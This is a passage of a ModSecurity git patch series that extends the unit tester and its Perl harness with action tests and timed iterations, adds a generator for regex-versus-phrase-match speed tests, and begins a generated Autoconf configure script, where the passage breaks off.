+ if (data->metadata->execute != NULL) { + rc = data->metadata->execute(g_msr, data->rule, data->var, errmsg); if (rc < 0) { - *errmsg = apr_psprintf(g_mp, "Failed to execute op \"%s\": %s", name, *errmsg); + *errmsg = apr_psprintf(g_mp, "Failed to execute op \"%s\": %s", data->name, *errmsg); + } + } + + return rc; +} + +static int init_action(action_data_t *data, const char *name, const char *param, char **errmsg) +{ + const char *action_string = NULL; + char *conf_fn; + + *errmsg = NULL; + + if ((param == NULL) || (strcmp("", param) == 0)) { + action_string = apr_psprintf(g_mp, "%s", name); + } + else { + action_string = apr_psprintf(g_mp, "%s:%s", name, param); + } + if (action_string == NULL) { + *errmsg = apr_psprintf(g_mp, "Failed to build action string for action: \"%s\".", name); + return -1; + } + + if ( apr_filepath_merge(&conf_fn, NULL, "t/unit-test.conf", APR_FILEPATH_TRUENAME, g_mp) != APR_SUCCESS) { + *errmsg = apr_psprintf(g_mp, "Failed to build a conf filename."); + return -1; + } + + /* Register UNIT_TEST variable */ + msre_engine_variable_register(modsecurity->msre, + "UNIT_TEST", + VAR_SIMPLE, + 0, 0, + NULL, + NULL, + VAR_DONT_CACHE, + PHASE_REQUEST_HEADERS + ); + + /* Create a ruleset/rule */ + data->ruleset = msre_ruleset_create(modsecurity->msre, g_mp); + if (data->ruleset == NULL) { + *errmsg = apr_psprintf(g_mp, "Failed to create ruleset for action \"%s\".", name); + return -1; + } + data->rule = msre_rule_create(data->ruleset, RULE_TYPE_NORMAL, conf_fn, 1, "UNIT_TEST", "@unconditionalMatch", action_string, errmsg); + if (data->rule == NULL) { + *errmsg = apr_psprintf(g_mp, "Failed to create rule for action \"%s\": %s", name, *errmsg); + return -1; + } + + /* Get the actionset/action */ + data->actionset = data->rule->actionset; + if (data->actionset == NULL) { + *errmsg = apr_psprintf(g_mp, "Failed to fetch actionset for action \"%s\"", name); + return -1; + } + data->action = (msre_action *)apr_table_get(data->actionset->actions, name); + if (data->action == NULL) { + *errmsg = apr_psprintf(g_mp, "Failed to fetch action for action \"%s\"", name); + return -1; + } + + return 0; +} + +static int test_action(action_data_t *data, char **errmsg) +{ + int rc = -1; + + *errmsg = NULL; + + /* Execute the action */ + if (data->action->metadata->execute != NULL) { + rc = data->action->metadata->execute(g_msr, g_mp, data->rule, data->action); + if (rc < 0) { + *errmsg = apr_psprintf(g_mp, "Failed to execute action \"%s\": %d", data->name, rc); } } @@ -265,7 +399,7 @@ static void init_msr() { dcfg->of_limit_action = RESPONSE_BODY_LIMIT_ACTION_REJECT; dcfg->debuglog_fd = NOT_SET_P; dcfg->debuglog_name = "msc-test-debug.log"; - dcfg->debuglog_level = 9; + dcfg->debuglog_level = debuglog_level; dcfg->cookie_format = 0; dcfg->argument_separator = '&'; dcfg->rule_inheritance = 0; @@ -282,7 +416,7 @@ static void init_msr() { dcfg->upload_dir = NULL; dcfg->upload_keep_files = KEEP_FILES_OFF; dcfg->upload_validates_files = 0; - dcfg->data_dir = NULL; + dcfg->data_dir = "."; dcfg->webappid = "default"; dcfg->content_injection_enabled = 0; dcfg->pdfp_enabled = 0; @@ -323,50 +457,126 @@ static void init_msr() { g_msr->hostname = "localhost"; g_msr->msc_rule_mptmp = g_mp; g_msr->tx_vars = apr_table_make(g_mp, 10); + g_msr->collections = apr_table_make(g_mp, 10); + g_msr->collections_dirty = apr_table_make(g_mp, 10); } +/** + * Usage text. + */ +static void usage() { + fprintf(stderr, "ModSecurity Unit Tester v%s\n", MODULE_RELEASE); + fprintf(stderr, " Usage: msc_test [options]\n"); + fprintf(stderr, "\n"); + fprintf(stderr, " Options:\n"); + fprintf(stderr, " -t Type (required)\n"); + fprintf(stderr, " -n Name (required)\n"); + fprintf(stderr, " -p Parameter (required)\n"); + fprintf(stderr, " -P Prerun (optional for actions)\n"); + fprintf(stderr, " -r Function return code (required for some types)\n"); + fprintf(stderr, " -I Iterations (default 1)\n"); + fprintf(stderr, " -D Debug log level (default 0)\n"); + fprintf(stderr, " -h This help\n\n"); +} + + /* Main */ int main(int argc, const char * const argv[]) { + apr_getopt_t *opt; apr_file_t *fd; - unsigned char buf[BUFLEN]; - apr_size_t nbytes = BUFLEN; - unsigned char input[BUFLEN]; + apr_size_t nbytes = 0; const char *type = NULL; const char *name = NULL; unsigned char *param = NULL; + unsigned char *prerun = NULL; const char *returnval = NULL; + int iterations = 1; char *errmsg = NULL; unsigned char *out = NULL; - apr_size_t input_len = 0; apr_size_t param_len = 0; + apr_size_t prerun_len = 0; apr_size_t out_len = 0; int rc = 0; int result = 0; int ec = 0; + int i; + apr_time_t T0 = 0; + apr_time_t T1 = 0; + tfn_data_t tfn_data; + op_data_t op_data; + action_data_t action_data; + int ret = 0; + + memset(&tfn_data, 0, sizeof(tfn_data_t)); + memset(&op_data, 0, sizeof(op_data_t)); + memset(&action_data, 0, sizeof(action_data_t)); apr_app_initialize(&argc, &argv, NULL); atexit(apr_terminate); - if (argc < 4) { - fprintf(stderr, "Usage: %s <type> <name> <param> [<returnval>]\n", argv[0]); + apr_pool_create(&g_mp, NULL); + + rc = apr_getopt_init(&opt, g_mp, argc, argv); + if (rc != APR_SUCCESS) { + fprintf(stderr, "Failed to initialize.\n\n"); + usage(); exit(1); } - apr_pool_create(&g_mp, NULL); - modsecurity = modsecurity_create(g_mp, MODSEC_OFFLINE); + do { + char ch; + const char *val; + rc = apr_getopt(opt, CMDLINE_OPTS, &ch, &val); + switch (rc) { + case APR_SUCCESS: + switch (ch) { + case 't': + type = val; + break; + case 'n': + name = val; + break; + case 'p': + param_len = strlen(val); + param = apr_pmemdup(g_mp, val, param_len + 1); + unescape_inplace(param, ¶m_len); + break; + case 'P': + prerun_len = strlen(val); + prerun = apr_pmemdup(g_mp, val, prerun_len + 1); + unescape_inplace(prerun, &prerun_len); + break; + case 'r': + returnval = val; + break; + case 'I': + iterations = atoi(val); + break; + case 'D': + debuglog_level = atoi(val); + break; + case 'h': + usage(); + exit(0); + } + break; + case APR_BADCH: + case APR_BADARG: + usage(); + exit(1); + } + } while (rc != APR_EOF); - type = argv[1]; - name = argv[2]; - param_len = strlen(argv[3]); - param = apr_pmemdup(g_mp, argv[3], param_len + 1); - unescape_inplace(param, ¶m_len); - if (argc >= 5) { - returnval = argv[4]; + rc = apr_getopt_init(&opt, g_mp, argc, argv); + if (!type || !name || !param) { + usage(); + exit(1); } + modsecurity = modsecurity_create(g_mp, MODSEC_OFFLINE); test_name = apr_psprintf(g_mp, "%s/%s", type, name); if (apr_file_open_stdin(&fd, g_mp) != APR_SUCCESS) { @@ -374,7 +584,9 @@ int main(int argc, const char * const argv[]) exit(1); } - memset(buf, 0, BUFLEN); + /* Read in the input */ + nbytes = BUFLEN; + memset(buf, 0, nbytes); rc = apr_file_read(fd, buf, &nbytes); if ((rc != APR_EOF) && (rc != APR_SUCCESS)) { fprintf(stderr, "Failed to read data\n"); @@ -388,49 +600,16 @@ int main(int argc, const char * const argv[]) apr_file_close(fd); - /* Make a copy as transformations are done in-place */ - memcpy(input, buf, BUFLEN); - input_len = nbytes; - if (strcmp("tfn", type) == 0) { - /* Transformations */ - int ret = returnval ? atoi(returnval) : -8888; - rc = test_tfn(name, input, input_len, &out, &out_len, &errmsg); + ret = returnval ? atoi(returnval) : -8888; + + rc = init_tfn(&tfn_data, name, buf, nbytes, &errmsg); if (rc < 0) { fprintf(stderr, "ERROR: %s\n", errmsg); result = RESULT_ERROR; } - else if ((ret != -8888) && (rc != ret)) { - fprintf(stderr, "Returned %d (expected %d)\n", rc, ret); - result = RESULT_WRONGRET; - } - else if (param_len != out_len) { - fprintf(stderr, "Lenth %" APR_SIZE_T_FMT " (expected %" APR_SIZE_T_FMT ")\n", out_len, param_len); - result = RESULT_WRONGSIZE; - } - else { - result = memcmp(param, out, param_len) ? RESULT_MISMATCHED : RESULT_SUCCESS; - } - - if (result != RESULT_SUCCESS) { - apr_size_t s0len = nbytes; - const char *s0 = escape(buf, &s0len); - apr_size_t s1len = out_len; - const char *s1 = escape(out, &s1len); - apr_size_t s2len = param_len; - const char *s2 = escape(param, &s2len); - - fprintf(stderr, " Input: '%s' len=%" APR_SIZE_T_FMT "\n" - "Output: '%s' len=%" APR_SIZE_T_FMT "\n" - "Expect: '%s' len=%" APR_SIZE_T_FMT "\n", - s0, nbytes, s1, out_len, s2, param_len); - ec = 1; - } } else if (strcmp("op", type) == 0) { - /* Operators */ - int ret = 0; - if (!returnval) { fprintf(stderr, "Return value required for type \"%s\"\n", type); exit(1); @@ -439,34 +618,195 @@ int main(int argc, const char * const argv[]) init_msr(); - rc = test_op(name, (const char *)param, (const unsigned char *)input, input_len, &errmsg); + rc = init_op(&op_data, name, (const char *)param, buf, nbytes, &errmsg); if (rc < 0) { fprintf(stderr, "ERROR: %s\n", errmsg); result = RESULT_ERROR; } - else if (rc != ret) { - fprintf(stderr, "Returned %d (expected %d)\n", rc, ret); - result = RESULT_WRONGRET; + } + else if (strcmp("action", type) == 0) { + if (!returnval) { + fprintf(stderr, "Return value required for type \"%s\"\n", type); + exit(1); + } + ret = atoi(returnval); + + init_msr(); + + if (prerun) { + action_data_t paction_data; + char *pname = apr_pstrdup(g_mp, (const char *)prerun); + char *pparam = NULL; + + if ((pparam = strchr((const char *)pname, ':'))) { + pparam[0] = '\0'; + pparam++; + } + + rc = init_action(&paction_data, pname, (const char *)pparam, &errmsg); + if (rc < 0) { + fprintf(stderr, "ERROR: prerun - %s\n", errmsg); + exit(1); + } + + rc = test_action(&paction_data, &errmsg); + if (rc < 0) { + fprintf(stderr, "ERROR: prerun - %s\n", errmsg); + exit(1); + } + } + + rc = init_action(&action_data, name, (const char *)param, &errmsg); + if (rc < 0) { + fprintf(stderr, "ERROR: %s\n", errmsg); + result = RESULT_ERROR; + } + } + + if (iterations > 1) { + apr_time_clock_hires (g_mp); + T0 = apr_time_now(); + } + + for (i = 1; i <= iterations; i++) { + #ifdef VERBOSE + if (i % 100 == 0) { + if (i == 100) { + fprintf(stderr, "Iterations/100: ."); + } + else { + fprintf(stderr, "."); + } + } + #endif + + if (strcmp("tfn", type) == 0) { + /* Transformations */ + rc = test_tfn(&tfn_data, &out, &out_len, &errmsg); + if (rc < 0) { + fprintf(stderr, "ERROR: %s\n", errmsg); + result = RESULT_ERROR; + } + else if ((ret != -8888) && (rc != ret)) { + fprintf(stderr, "Returned %d (expected %d)\n", rc, ret); + result = RESULT_WRONGRET; + } + else if (param_len != out_len) { + fprintf(stderr, "Lenth %" APR_SIZE_T_FMT " (expected %" APR_SIZE_T_FMT ")\n", out_len, param_len); + result = RESULT_WRONGSIZE; + } + else { + result = memcmp(param, out, param_len) ? RESULT_MISMATCHED : RESULT_SUCCESS; + } + + if (result != RESULT_SUCCESS) { + apr_size_t s0len = nbytes; + const char *s0 = escape(buf, &s0len); + apr_size_t s1len = out_len; + const char *s1 = escape(out, &s1len); + apr_size_t s2len = param_len; + const char *s2 = escape(param, &s2len); + + fprintf(stderr, " Input: '%s' len=%" APR_SIZE_T_FMT "\n" + "Output: '%s' len=%" APR_SIZE_T_FMT "\n" + "Expect: '%s' len=%" APR_SIZE_T_FMT "\n", + s0, nbytes, s1, out_len, s2, param_len); + ec = 1; + } + } + else if (strcmp("op", type) == 0) { + /* Operators */ + rc = test_op(&op_data, &errmsg); + if (rc < 0) { + fprintf(stderr, "ERROR: %s\n", errmsg); + result = RESULT_ERROR; + } + else if (rc != ret) { + fprintf(stderr, "Returned %d (expected %d)\n", rc, ret); + result = RESULT_WRONGRET; + } + else { + result = RESULT_SUCCESS; + } + + if (result != RESULT_SUCCESS) { + apr_size_t s0len = nbytes; + const char *s0 = escape(buf, &s0len); + + fprintf(stderr, " Test: '@%s %s'\n" + "Input: '%s' len=%" APR_SIZE_T_FMT "\n", + name, param, s0, nbytes); + ec = 1; + } + } + else if (strcmp("action", type) == 0) { + /* Actions */ + int n; + const apr_array_header_t *arr; + apr_table_entry_t *te; + + rc = test_action(&action_data, &errmsg); + if (rc < 0) { + fprintf(stderr, "ERROR: %s\n", errmsg); + result = RESULT_ERROR; + } + else if (rc != ret) { + fprintf(stderr, "Returned %d (expected %d)\n", rc, ret); + result = RESULT_WRONGRET; + } + else { + result = RESULT_SUCCESS; + } + + if (result != RESULT_SUCCESS) { + apr_size_t s0len = nbytes; + const char *s0 = escape(buf, &s0len); + + fprintf(stderr, " Test: '@%s %s'\n" + "Input: '%s' len=%" APR_SIZE_T_FMT "\n", + name, param, s0, nbytes); + ec = 1; + } + + /* Store any collections that were initialized and changed */ + arr = apr_table_elts(g_msr->collections); + te = (apr_table_entry_t *)arr->elts; + for (n = 0; n < arr->nelts; n++) { + apr_table_t *col = (apr_table_t *)te[n].val; + + msr_log(g_msr, 9, "Found loaded collection: %s", te[n].key); + /* Only store those collections that changed. */ + if (apr_table_get(g_msr->collections_dirty, te[n].key)) { + msr_log(g_msr, 9, "Storing collection: %s", te[n].key); + collection_store(g_msr, col); + } + } } else { - result = RESULT_SUCCESS; + fprintf(stderr, "Unknown type: \"%s\"\n", type); + exit(1); } - if (result != RESULT_SUCCESS) { - apr_size_t s0len = nbytes; - const char *s0 = escape(buf, &s0len); - - fprintf(stderr, " Test: '@%s %s'\n" - "Input: '%s' len=%" APR_SIZE_T_FMT "\n", - name, param, s0, nbytes); - ec = 1; + if (ec != 0) { + fprintf(stdout, "%s\n", errmsg ? errmsg : ""); + return ec; } } - else { - fprintf(stderr, "Unknown type: \"%s\"\n", type); - exit(1); - } + if (iterations > 1) { + double dT; + T1 = apr_time_now(); + + dT = apr_time_as_msec(T1 - T0); + + #ifdef VERBOSE + if (i >= 100) { + fprintf(stderr, "\n"); + } + #endif + + fprintf(stdout, "%d @ %.4f msec per iteration.\n", iterations, dT / iterations); + } fprintf(stdout, "%s\n", errmsg ? errmsg : ""); return ec; diff --git a/apache2/t/gen_rx-pm.pl.in b/apache2/t/gen_rx-pm.pl.in new file mode 100755 index 00000000..7f9fded6 --- /dev/null +++ b/apache2/t/gen_rx-pm.pl.in @@ -0,0 +1,96 @@ +#!@PERL@ +# +# Generates a test file for comparing @rx and @pm speed. +# +use strict; +use Regexp::Assemble; + + +my $MIN = 1; +my $MAX = 5000; +my $INC = 250; +my $ITERATIONS = 10000; +my $MINSTRLEN = 2; +my $MAXSTRLEN = 8; + +my $last = rndstr(); +my @param = ($last); +my $i=$MIN; +while ($i <= $MAX) { + my $ra = Regexp::Assemble->new; + $ra->add(@param); + + printf ( + "# rx: %6d\n". + "{\n". + " comment => \"%6d item(s)\",\n". + " type => \"op\",\n". + " name => \"rx\",\n". + " param => qr/^(?:%s)\$/,\n". + " input => \"%s\",\n". + " ret => 1,\n". + " iterations => %d,\n". + "},\n", + $i, + $i, + join('|', @param), + $last, + $ITERATIONS, + ); + + printf ( + "# rx-optimized: %6d\n". + "{\n". + " comment => \"%6d item(s)\",\n". + " type => \"op\",\n". + " name => \"rx\",\n". + " param => qr/^(?:%s)\$/,\n". + " input => \"%s\",\n". + " ret => 1,\n". + " iterations => %d,\n". + "},\n", + $i, + $i, + $ra->as_string, + $last, + $ITERATIONS, + ); + + printf ( + "# pm: %6d\n". + "{\n". + " comment => \"%6d item(s)\",\n". + " type => \"op\",\n". + " name => \"pm\",\n". + " param => \"%s\",\n". + " input => \"%s\",\n". + " ret => 1,\n". + " iterations => %d,\n". + "},\n", + $i, + $i, + join(' ', @param), + $last, + $ITERATIONS, + ); + + $i = ($i == 1) ? $INC : $i + $INC; + + while (@param < $i) { + unshift @param, rndstr(); + } +} + +sub rndstr { + my @c=('a'..'z','0'..'9','_'); + my $rndstr; + my $max = int(rand($MAXSTRLEN - $MINSTRLEN)) + $MINSTRLEN; + foreach (1 .. $max) { + $rndstr .= $c[rand @c]; + } + # We need a string that is not in another string for "last" + if ($last =~ m/$rndstr/) { + $rndstr = rndstr(); + } + return $rndstr; +} diff --git a/apache2/t/run-tests.pl.in b/apache2/t/run-tests.pl.in index 238cac29..845061fc 100755 --- a/apache2/t/run-tests.pl.in +++ b/apache2/t/run-tests.pl.in @@ -13,12 +13,13 @@ use File::Basename qw(basename dirname); use FileHandle; use IPC::Open2 qw(open2); -my @TYPES = qw(tfn op); +my @TYPES = qw(tfn op action); my $TEST = "./msc_test"; my $SCRIPT = basename($0); my $SCRIPTDIR = dirname($0); my $PASSED = 0; my $TOTAL = 0; +my $DEBUG = $ENV{MSC_TEST_DEBUG} || 0; if (defined $ARGV[0]) { runfile(dirname($ARGV[0]), basename($ARGV[0]), $ARGV[1]); @@ -72,7 +73,7 @@ sub runfile { my %t = %{$t || {}}; my $id = sprintf("%6d", $n); - my $in = $t{input}; + my $in = (exists($t{input}) and defined($t{input})) ? $t{input} : ""; my $out; my $test_in = new FileHandle(); my $test_out = new FileHandle(); @@ -86,11 +87,14 @@ sub runfile { elsif ($t{type} eq "op") { $param = escape($t{param}); } + elsif ($t{type} eq "action") { + $param = escape($t{param}); + } else { quit(1, "Unknown type \"$t{type}\" - should be one of: " . join(",",@TYPES)); } - @test = ($t{type}, $t{name}, $param, (exists($t{ret}) ? ($t{ret}) : ())); + @test = ("-t", $t{type}, "-n", $t{name}, "-p", $param, "-D", "$DEBUG", (exists($t{ret}) ? ("-r", $t{ret}) : ()), (exists($t{iterations}) ? ("-I", $t{iterations}) : ()), (exists($t{prerun}) ? ("-P", $t{prerun}) : ())); $teststr = "$TEST " . join(" ", map { "\"$_\"" } @test); $test_pid = open2($test_out, $test_in, $TEST, @test) or quit(1, "Failed to execute test: $teststr\": $!"); print $test_in "$in"; @@ -117,7 +121,7 @@ sub runfile { $pass++; } - msg(sprintf("%s) %s \"%s\": %s%s", $id, $t{type}, $t{name}, ($rc ? "failed" : "passed"), ((defined($out) && $out ne "")? " ($out)" : ""))); + msg(sprintf("%s) %s \"%s\"%s: %s%s", $id, $t{type}, $t{name}, (exists($t{comment}) ? " $t{comment}" : ""), ($rc ? "failed" : "passed"), ((defined($out) && $out ne "")? " ($out)" : ""))); } From 6d3da8c39ae61461bdd850a531cc521bbea42313 Mon Sep 17 00:00:00 2001 From: brectanus <brectanus@9017d574-64ec-4062-9424-5e00b32a252b> Date: Fri, 25 Apr 2008 23:19:16 +0000 Subject: [PATCH 016/110] Add the configure script (even though it is generated) to make it easier for others. --- apache2/configure | 6890 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 6890 insertions(+) create mode 100755 apache2/configure diff --git a/apache2/configure b/apache2/configure new file mode 100755 index 00000000..6ebd9658 --- /dev/null +++ b/apache2/configure @@ -0,0 +1,6890 @@ +#! /bin/sh +# Guess values for system-dependent variables and create Makefiles. +# Generated by GNU Autoconf 2.61. +# +# Copyright (C) 1992, 1993, 1994, 1995, 1996, 1998, 1999, 2000, 2001, +# 2002, 2003, 2004, 2005, 2006 Free Software Foundation, Inc. +# This configure script is free software; the Free Software Foundation +# gives unlimited permission to copy, distribute and modify it. +## --------------------- ## +## M4sh Initialization. ## +## --------------------- ## + +# Be more Bourne compatible +DUALCASE=1; export DUALCASE # for MKS sh +if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then + emulate sh + NULLCMD=: + # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which + # is contrary to our usage. Disable this feature. + alias -g '${1+"$@"}'='"$@"' + setopt NO_GLOB_SUBST +else + case `(set -o) 2>/dev/null` in + *posix*) set -o posix ;; +esac + +fi + + + + +# PATH needs CR +# Avoid depending upon Character Ranges. +as_cr_letters='abcdefghijklmnopqrstuvwxyz' +as_cr_LETTERS='ABCDEFGHIJKLMNOPQRSTUVWXYZ' +as_cr_Letters=$as_cr_letters$as_cr_LETTERS +as_cr_digits='0123456789' +as_cr_alnum=$as_cr_Letters$as_cr_digits + +# The user is always right. +if test "${PATH_SEPARATOR+set}" != set; then + echo "#! /bin/sh" >conf$$.sh + echo "exit 0" >>conf$$.sh + chmod +x conf$$.sh + if (PATH="/nonexistent;."; conf$$.sh) >/dev/null 2>&1; then + PATH_SEPARATOR=';' + else + PATH_SEPARATOR=: + fi + rm -f conf$$.sh +fi + +# Support unset when possible. +if ( (MAIL=60; unset MAIL) || exit) >/dev/null 2>&1; then + as_unset=unset +else + as_unset=false +fi + + +# IFS +# We need space, tab and new line, in precisely that order. Quoting is +# there to prevent editors from complaining about space-tab. +# (If _AS_PATH_WALK were called with IFS unset, it would disable word +# splitting by setting IFS to empty value.) +as_nl=' +' +IFS=" "" $as_nl" + +# Find who we are. Look in the path if we contain no directory separator. +case $0 in + *[\\/]* ) as_myself=$0 ;; + *) as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in $PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + test -r "$as_dir/$0" && as_myself=$as_dir/$0 && break +done +IFS=$as_save_IFS + + ;; +esac +# We did not find ourselves, most probably we were run as `sh COMMAND' +# in which case we are not to be found in the path. +if test "x$as_myself" = x; then + as_myself=$0 +fi +if test ! -f "$as_myself"; then + echo "$as_myself: error: cannot find myself; rerun with an absolute file name" >&2 + { (exit 1); exit 1; } +fi + +# Work around bugs in pre-3.0 UWIN ksh. +for as_var in ENV MAIL MAILPATH +do ($as_unset $as_var) >/dev/null 2>&1 && $as_unset $as_var +done +PS1='$ ' +PS2='> ' +PS4='+ ' + +# NLS nuisances. +for as_var in \ + LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATION \ + LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \ + LC_TELEPHONE LC_TIME +do + if (set +x; test -z "`(eval $as_var=C; export $as_var) 2>&1`"); then + eval $as_var=C; export $as_var + else + ($as_unset $as_var) >/dev/null 2>&1 && $as_unset $as_var + fi +done + +# Required to use basename. +if expr a : '\(a\)' >/dev/null 2>&1 && + test "X`expr 00001 : '.*\(...\)'`" = X001; then + as_expr=expr +else + as_expr=false +fi + +if (basename -- /) >/dev/null 2>&1 && test "X`basename -- / 2>&1`" = "X/"; then + as_basename=basename +else + as_basename=false +fi + + +# Name of the executable. +as_me=`$as_basename -- "$0" || +$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ + X"$0" : 'X\(//\)$' \| \ + X"$0" : 'X\(/\)' \| . 2>/dev/null || +echo X/"$0" | + sed '/^.*\/\([^/][^/]*\)\/*$/{ + s//\1/ + q + } + /^X\/\(\/\/\)$/{ + s//\1/ + q + } + /^X\/\(\/\).*/{ + s//\1/ + q + } + s/.*/./; q'` + +# CDPATH. +$as_unset CDPATH + + +if test "x$CONFIG_SHELL" = x; then + if (eval ":") 2>/dev/null; then + as_have_required=yes +else + as_have_required=no +fi + + if test $as_have_required = yes && (eval ": +(as_func_return () { + (exit \$1) +} +as_func_success () { + as_func_return 0 +} +as_func_failure () { + as_func_return 1 +} +as_func_ret_success () { + return 0 +} +as_func_ret_failure () { + return 1 +} + +exitcode=0 +if as_func_success; then + : +else + exitcode=1 + echo as_func_success failed. +fi + +if as_func_failure; then + exitcode=1 + echo as_func_failure succeeded. +fi + +if as_func_ret_success; then + : +else + exitcode=1 + echo as_func_ret_success failed. +fi + +if as_func_ret_failure; then + exitcode=1 + echo as_func_ret_failure succeeded. +fi + +if ( set x; as_func_ret_success y && test x = \"\$1\" ); then + : +else + exitcode=1 + echo positional parameters were not saved. +fi + +test \$exitcode = 0) || { (exit 1); exit 1; } + +( + as_lineno_1=\$LINENO + as_lineno_2=\$LINENO + test \"x\$as_lineno_1\" != \"x\$as_lineno_2\" && + test \"x\`expr \$as_lineno_1 + 1\`\" = \"x\$as_lineno_2\") || { (exit 1); exit 1; } +") 2> /dev/null; then + : +else + as_candidate_shells= + as_save_IFS=$IFS; IFS=$PATH_SEPARATOR +for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH +do + IFS=$as_save_IFS + test -z "$as_dir" && as_dir=. + case $as_dir in + /*) + for as_base in sh bash ksh sh5; do + as_candidate_shells="$as_candidate_shells $as_dir/$as_base" + done;; + esac +done +IFS=$as_save_IFS + + + for as_shell in $as_candidate_shells $SHELL; do + # Try only shells that exist, to save several forks. + if { test -f "$as_shell" || test -f "$as_shell.exe"; } && + { ("$as_shell") 2> /dev/null <<\_ASEOF +if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then + emulate sh + NULLCMD=: + # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which + # is contrary to our usage. Disable this feature. + alias -g '${1+"$@"}'='"$@"' + setopt NO_GLOB_SUBST +else + case `(set -o) 2>/dev/null` in + *posix*) set -o posix ;; +esac + +fi + + +: +_ASEOF +}; then + CONFIG_SHELL=$as_shell + as_have_required=yes + if { "$as_shell" 2> /dev/null <<\_ASEOF +if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then + emulate sh + NULLCMD=: + # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which + # is contrary to our usage. Disable this feature. + alias -g '${1+"$@"}'='"$@"' + setopt NO_GLOB_SUBST +else + case `(set -o) 2>/dev/null` in + *posix*) set -o posix ;; +esac + +fi + + +: +(as_func_return () { + (exit $1) +} +as_func_success () { + as_func_return 0 +} +as_func_failure () { + as_func_return 1 +} +as_func_ret_success () { + return 0 +} +as_func_ret_failure () { + return 1 +} + +exitcode=0 +if as_func_success; then + : +else + exitcode=1 + echo as_func_success failed. +fi + +if as_func_failure; then + exitcode=1 + echo as_func_failure succeeded. +fi + +if as_func_ret_success; then + : +else + exitcode=1 + echo as_func_ret_success failed. +fi + +if as_func_ret_failure; then + exitcode=1 + echo as_func_ret_failure succeeded. +fi + +if ( set x; as_func_ret_success y && test x = "$1" ); then + : +else + exitcode=1 + echo positional parameters were not saved. +fi + +test $exitcode = 0) || { (exit 1); exit 1; } + +( + as_lineno_1=$LINENO + as_lineno_2=$LINENO + test "x$as_lineno_1" != "x$as_lineno_2" && + test "x`expr $as_lineno_1 + 1`" = "x$as_lineno_2") || { (exit 1); exit 1; } + +_ASEOF +}; then + break +fi + +fi + + done + + if test "x$CONFIG_SHELL" != x; then + for as_var in BASH_ENV ENV + do ($as_unset $as_var) >/dev/null 2>&1 && $as_unset $as_var + done + export CONFIG_SHELL + exec "$CONFIG_SHELL" "$as_myself" ${1+"$@"} +fi + + + if test $as_have_required = no; then + echo This script requires a shell more modern than all the + echo shells that I found on your system. Please install a + echo modern shell, or manually run the script under such a + echo shell if you do have one. + { (exit 1); exit 1; } +fi + + +fi + +fi + + + +(eval "as_func_return () { + (exit \$1) +} +as_func_success () { + as_func_return 0 +} +as_func_failure () { + as_func_return 1 +} +as_func_ret_success () { + return 0 +} +as_func_ret_failure () { + return 1 +} + +exitcode=0 +if as_func_success; then + : +else + exitcode=1 + echo as_func_success failed. +fi + +if as_func_failure; then + exitcode=1 + echo as_func_failure succeeded. +fi + +if as_func_ret_success; then + : +else + exitcode=1 + echo as_func_ret_success failed. +fi + +if as_func_ret_failure; then + exitcode=1 + echo as_func_ret_failure succeeded. +fi + +if ( set x; as_func_ret_success y && test x = \"\$1\" ); then + : +else + exitcode=1 + echo positional parameters were not saved. +fi + +test \$exitcode = 0") || { + echo No shell found that supports shell functions. + echo Please tell autoconf@gnu.org about your system, + echo including any error possibly output before this + echo message +} + + + + as_lineno_1=$LINENO + as_lineno_2=$LINENO + test "x$as_lineno_1" != "x$as_lineno_2" && + test "x`expr $as_lineno_1 + 1`" = "x$as_lineno_2" || { + + # Create $as_me.lineno as a copy of $as_myself, but with $LINENO + # uniformly replaced by the line number. The first 'sed' inserts a + # line-number line after each line using $LINENO; the second 'sed' + # does the real work. The second script uses 'N' to pair each + # line-number line with the line containing $LINENO, and appends + # trailing '-' during substitution so that $LINENO is not a special + # case at line end. + # (Raja R Harinath suggested sed '=', and Paul Eggert wrote the + # scripts with optimization help from Paolo Bonzini. Blame Lee + # E. McMahon (1931-1989) for sed's syntax. :-) + sed -n ' + p + /[$]LINENO/= + ' <$as_myself | + sed ' + s/[$]LINENO.*/&-/ + t lineno + b + :lineno + N + :loop + s/[$]LINENO\([^'$as_cr_alnum'_].*\n\)\(.*\)/\2\1\2/ + t loop + s/-\n.*// + ' >$as_me.lineno && + chmod +x "$as_me.lineno" || + { echo "$as_me: error: cannot create $as_me.lineno; rerun with a POSIX shell" >&2 + { (exit 1); exit 1; }; } + + # Don't try to exec as it changes $[0], causing all sort of problems + # (the dirname of $[0] is not the place where we might find the + # original and so on. Autoconf is especially sensitive to this). + . "./$as_me.lineno" + # Exit status is that of the last command. + exit +} + + +if (as_dir=`dirname -- /` && test "X$as_dir" = X/) >/dev/null 2>&1; then + as_dirname=dirname +else + as_dirname=false +fi + +ECHO_C= ECHO_N= ECHO_T= +case `echo -n x` in +-n*) + case `echo 'x\c'` in + *c*) ECHO_T=' ';; # ECHO_T is single tab character. + *) ECHO_C='\c';; + esac;; +*) + ECHO_N='-n';; +esac + +if expr a : '\(a\)' >/dev/null 2>&1 && + test "X`expr 00001 : '.*\(...\)'`" = X001; then + as_expr=expr +else + as_expr=false +fi + +rm -f conf$$ conf$$.exe conf$$.file +if test -d conf$$.dir; then + rm -f conf$$.dir/conf$$.file +else + rm -f conf$$.dir + mkdir conf$$.dir +fi +echo >conf$$.file +if ln -s conf$$.file conf$$ 2>/dev/null; then + as_ln_s='ln -s' + # ... but there are two gotchas: + # 1) On MSYS, both `ln -s file dir' and `ln file dir' fail. + # 2) DJGPP < 2.04 has no symlinks; `ln -s' creates a wrapper executable. + # In both cases, we have to default to `cp -p'. + ln -s conf$$.file conf$$.dir 2>/dev/null && test ! -f conf$$.exe || + as_ln_s='cp -p' +elif ln conf$$.file conf$$ 2>/dev/null; then + as_ln_s=ln +else + as_ln_s='cp -p' +fi +rm -f 